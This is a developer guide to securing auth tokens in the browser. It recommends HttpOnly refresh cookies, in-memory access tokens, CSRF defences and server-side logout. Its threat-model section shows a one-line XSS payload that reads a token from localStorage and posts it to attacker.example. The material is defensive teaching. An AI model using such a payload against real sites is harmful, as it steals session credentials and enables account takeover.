Securing Auth Tokens in Browser Storage

Almost every single-page app has to answer one question: where does the session credential live between requests? The convenient answer — localStorage.setItem('token', jwt) — is also the one that turns a single cross-site scripting bug into a full account takeover. This guide lays out the threat model of a JSON Web Token in script-readable storage and the architecture that defuses it: a long-lived refresh token in an HttpOnly cookie that JavaScript cannot touch, a short-lived access token held only in memory, and a silent refresh on reload. It is the credential-handling companion to Storage Security, Encryption & Privacy; for the at-rest encryption of non-credential data, see the sibling guide Encrypting Browser Storage with Web Crypto. The detailed attack walkthrough lives in Why a JWT in localStorage Is XSS-Vulnerable.

Recommended auth token storage architecture A diagram showing the refresh token kept in an HttpOnly cookie out of JavaScript reach, the access token held only in a module-scoped in-memory variable, and a silent refresh on reload that exchanges the cookie for a new access token. Browser JS XSS / injected script reads anything JS can read Access token in-memory variable only Cookie jar Refresh token HttpOnly · Secure · SameSite Server /auth/refresh rotates + issues access JS cannot read Reload → silent refresh rehydrates the in-memory token credentials: 'include' sends the HttpOnly cookie; no token in storage

The threat model: a JWT in localStorage

A JWT in localStorage is appealing because it is trivial: write it on login, read it on every request, attach it as a Bearer header. The problem is the read side. localStorage is readable by any script executing on the origin, with no further permission. So the moment an attacker gets script to run in your page — through an injected dependency, a vulnerable third-party widget, a reflected or stored XSS payload — they execute this in one line:

// What an injected XSS payload runs. No prompt, no permission, no trace.
fetch('https://attacker.example/steal', {
  method: 'POST',
  body: localStorage.getItem('token') ?? '',
});

The stolen token is a bearer credential: it is valid from any machine until it expires, and “logout” on the victim’s device does nothing to it because the server never learns it was copied. With a typical 15-minute to multi-hour access-token lifetime, that is a wide window for an attacker to act as the user. The defining weakness is not the JWT format — it is that the credential lives somewhere JavaScript can read it. Remove that property and the whole class of attack collapses. The step-by-step exploitation is detailed in Why a JWT in localStorage Is XSS-Vulnerable.

The recommended architecture

The design splits one credential into two, each with a different lifetime and a different home:

  1. A long-lived refresh token in an HttpOnly, Secure, SameSite cookie. HttpOnly means JavaScript cannot read it via document.cookie; it is attached automatically only when the browser makes a request to your origin. An XSS payload cannot exfiltrate what it cannot read.
  2. A short-lived access token in a module-scoped in-memory variable. It never touches localStorage, sessionStorage, IndexedDB, or any cookie. It dies when the tab closes or the page reloads — and that is fine, because you can mint a new one.
  3. A silent refresh on reload. On startup, the app calls a refresh endpoint with credentials: 'include'. The browser sends the HttpOnly cookie, the server validates it and returns a fresh access token, which goes back into the in-memory variable.
// The access token never leaves memory. A reload re-fetches it using the
// HttpOnly refresh cookie, so nothing sensitive is ever written to storage.
let accessToken: string | null = null;
let inflight: Promise<string> | null = null;

async function refreshAccessToken(): Promise<string> {
  const res = await fetch('/auth/refresh', {
    method: 'POST',
    credentials: 'include', // sends the HttpOnly refresh cookie
  });
  if (!res.ok) {
    accessToken = null;
    throw new Error('Session expired');
  }
  accessToken = (await res.json()).accessToken as string;
  return accessToken;
}

async function getAccessToken(): Promise<string> {
  if (accessToken) return accessToken;
  // De-duplicate concurrent refreshes so a burst of requests triggers one call.
  inflight ??= refreshAccessToken().finally(() => { inflight = null; });
  return inflight;
}

async function authedFetch(input: RequestInfo, init: RequestInit = {}): Promise<Response> {
  const token = await getAccessToken();
  const res = await fetch(input, {
    ...init,
    headers: { ...init.headers, Authorization: `Bearer ${token}` },
  });
  if (res.status === 401) {
    // Access token expired mid-session: refresh once and retry.
    accessToken = null;
    const retryToken = await getAccessToken();
    return fetch(input, {
      ...init,
      headers: { ...init.headers, Authorization: `Bearer ${retryToken}` },
    });
  }
  return res;
}

The cost is one extra round-trip after each reload to rehydrate the access token. In exchange, there is no bearer credential anywhere a script can read it. This is the same in-memory discipline applied to encryption keys in Encrypting Browser Storage with Web Crypto: secrets live in memory, never in persistent script-readable storage.

Why sessionStorage is not the answer

A common half-measure is to move the token from localStorage to sessionStorage, reasoning that it is “more isolated.” It is marginally better — sessionStorage is scoped to a single tab and is cleared when that tab closes, so the exposure window is shorter and a stolen token does not outlive the session. But it is still read by any script on the origin, which means the same one-line XSS payload steals it just as easily while the tab is open. sessionStorage reduces the blast radius over time; it does not remove the script-readable property that is the actual vulnerability. Treat it as a non-fix for credentials. The full behavioral contrast between the two Web Storage surfaces is in localStorage vs sessionStorage, and the specific token comparison in localStorage vs IndexedDB for Auth Tokens.

Comparison of storage surfaces for tokens

Storage XSS-readable CSRF-exposed Survives reload Survives tab close Verdict for credentials
localStorage Yes No Yes Yes Avoid — one XSS exfiltrates the token
sessionStorage Yes No Yes No Avoid — still script-readable while open
In-memory variable No (not persisted) No No No Best for the access token
HttpOnly cookie No Yes (mitigate with SameSite) Yes Yes Best for the refresh token

The two safe homes are complementary: the in-memory variable holds the short-lived access token (no persistence, no script-readable surface), and the HttpOnly cookie holds the long-lived refresh token (survives reload, invisible to JavaScript). Cookies introduce CSRF as a trade — the next section handles it.

CSRF and SameSite

Because the browser attaches a cookie automatically to every request to its origin, an attacker’s page can trigger a request that carries your refresh cookie even though it cannot read it — that is cross-site request forgery. The first line of defense is the SameSite cookie attribute:

For a refresh endpoint, set the cookie HttpOnly; Secure; SameSite=Lax (or Strict if your flow tolerates it), and additionally require a non-cookie proof on state-changing requests — a CSRF token echoed in a header, or restricting refresh to a POST that a cross-site form cannot forge with custom headers. SameSite narrows the attack surface; an explicit anti-CSRF token closes it.

Token rotation and logout

A refresh token that never changes is a long-lived liability. Rotation issues a brand-new refresh token on every refresh and invalidates the previous one server-side; if an attacker and the legitimate client both present the same old token, the server detects the reuse and revokes the whole token family. This turns a stolen refresh token into a single-use item that trips an alarm.

Logout must be server-side. Deleting the in-memory access token and clearing the cookie on the client is not enough — the refresh token is still valid on the server until it expires. A correct logout calls a server endpoint that revokes the refresh token (and its rotation family), then clears the client state:

async function logout(): Promise<void> {
  // Server revokes the refresh token family; only then is the session dead.
  await fetch('/auth/logout', { method: 'POST', credentials: 'include' });
  accessToken = null;
  inflight = null;
  // Optionally redirect to a logged-out route.
}

After this, even a previously captured access token stops working once it expires (minutes), and the refresh token is dead immediately. Pair logout with purging any per-user cached data — coordinated through Service Worker Caching Strategies — so a shared device does not leak the prior user’s responses.

Browser compatibility

The architecture relies on HttpOnly/Secure/SameSite cookies and fetch with credentials: 'include', all of which are Baseline across modern browsers. The behaviors that change between versions are cookie defaults and partitioning.

Behavior Chrome / Edge Firefox Safari Notes
SameSite=Lax default when unset Yes Yes Yes Cookies without SameSite default to Lax
SameSite=None requires Secure Yes Yes Yes Cross-site cookies must be HTTPS
HttpOnly hides from document.cookie Yes Yes Yes The core protection; universal
Partitioned cookies (CHIPS) Yes Behind flag/limited Partitioned by default (ITP) Third-party cookies bucketed per top-level site

The Safari note matters most: Intelligent Tracking Prevention partitions and limits third-party cookies aggressively, so a refresh cookie must be first-party (same registrable domain as the app) to survive. CHIPS (Cookies Having Independent Partitioned State) lets you opt a cookie into per-top-level-site partitioning with the Partitioned attribute when you genuinely need a third-party cookie, but for first-party auth you generally do not. Keep the auth origin and the app origin aligned, and the cookie behaves consistently everywhere.

Frequently Asked Questions

Is sessionStorage safe enough for an access token?

No. sessionStorage is cleared when the tab closes, which shortens the exposure window, but it is still readable by any script on the origin — the same XSS payload that steals from localStorage steals from sessionStorage. Hold the access token in a module-scoped in-memory variable instead, and refresh it on reload.

If the refresh token is in a cookie, am I now exposed to CSRF?

Cookies are auto-attached, so yes, you take on CSRF risk. Mitigate it with SameSite=Lax or Strict on the cookie plus an explicit anti-CSRF token (or a custom header) on state-changing requests. HttpOnly stops token theft via XSS; SameSite plus a CSRF token stops request forgery.

Why hold the access token in memory if a reload just loses it?

Losing it on reload is the point: nothing sensitive is ever persisted where a script could read it. On startup the app calls the refresh endpoint with credentials: 'include', the browser sends the HttpOnly refresh cookie, and the server returns a fresh access token. The cost is one round-trip; the benefit is no stealable credential at rest.

Does clearing localStorage and cookies on the client log the user out?

Not fully. The refresh token remains valid on the server until it expires, so a captured copy still works. A correct logout calls a server endpoint that revokes the refresh token family, then clears client state. Combine that with refresh-token rotation so a reused token trips reuse detection and revokes the session.

Related